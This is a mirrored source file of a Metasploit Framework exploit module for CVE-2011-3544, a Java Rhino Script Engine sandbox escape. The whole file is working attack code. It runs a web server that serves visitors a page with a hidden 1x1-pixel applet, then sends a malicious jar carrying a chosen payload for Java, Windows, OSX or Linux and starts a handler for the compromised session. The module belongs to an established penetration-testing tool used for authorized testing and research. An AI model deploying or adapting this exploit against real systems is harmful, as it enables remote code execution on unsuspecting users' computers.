CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/java_rhino.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = ExcellentRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10


11
  include Msf::Exploit::Remote::BrowserAutopwn

12
  autopwn_info({ :javascript => false })

13


14
  def initialize( info = {} )

15
    super( update_info( info,

16
      'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',

17
      'Description'   => %q{

18
          This module exploits a vulnerability in the Rhino Script Engine that

19
        can be used by a Java Applet to run arbitrary Java code outside of

20
        the sandbox.  The vulnerability affects version 7 and version 6 update

21
        27 and earlier, and should work on any browser that supports Java

22
        (for example: IE, Firefox, Google Chrome, etc)

23
      },

24
      'License'       => MSF_LICENSE,

25
      'Author'        =>

26
        [

27
          'Michael Schierl', # Discovery

28
          'juan vazquez',    # metasploit module

29
          'Edward D. Teach <teach[at]consortium-of-pwners.net>',

30
          'sinn3r'

31
        ],

32
      'References'    =>

33
        [

34
          [ 'CVE', '2011-3544' ],

35
          [ 'OSVDB', '76500' ],

36
          [ 'ZDI', '11-305' ],

37
          [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],

38
        ],

39
      'Platform'      => %w{ java linux win },

40
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

41
      'Targets'       =>

42
        [

43
          [ 'Generic (Java Payload)',

44
            {

45
              'Arch' => ARCH_JAVA,

46
            }

47
          ],

48
          [ 'Windows Universal',

49
            {

50
              'Arch' => ARCH_X86,

51
              'Platform' => 'win'

52
            }

53
          ],

54
          [ 'Apple OSX',

55
            {

56
              'ARCH' => ARCH_X86,

57
              'Platform' => 'osx'

58
            }

59
          ],

60
          [ 'Linux x86',

61
            {

62
              'Arch' => ARCH_X86,

63
              'Platform' => 'linux'

64
            }

65
          ]

66
        ],

67
      'DefaultTarget'  => 0,

68
      'DisclosureDate' => '2011-10-18'

69
      ))

70
  end

71


72


73
  def on_request_uri( cli, request )

74
    if not request.uri.match(/\.jar$/i)

75
      if not request.uri.match(/\/$/)

76
        send_redirect(cli, get_resource() + '/', '')

77
        return

78
      end

79


80
      print_status("#{self.name} handling request")

81


82
      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )

83
      return

84
    end

85


86
    paths = [

87
      [ "Exploit.class" ]

88
    ]

89


90
    p = regenerate_payload(cli)

91


92
    jar  = p.encoded_jar

93
    paths.each do |path|

94
      1.upto(path.length - 1) do |idx|

95
        full = path[0,idx].join("/") + "/"

96
        if !(jar.entries.map{|e|e.name}.include?(full))

97
          jar.add_file(full, '')

98
        end

99
      end

100
      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2011-3544", path ), "rb")

101
      data = fd.read(fd.stat.size)

102
      jar.add_file(path.join("/"), data)

103
      fd.close

104
    end

105


106
    print_status("Sending Applet.jar")

107
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

108


109
    handler( cli )

110
  end

111


112
  def generate_html

113
    html  = "<html><head></head>"

114
    html += "<body>"

115
    html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"

116
    html += "</applet></body></html>"

117
    return html

118
  end

119
end

120


121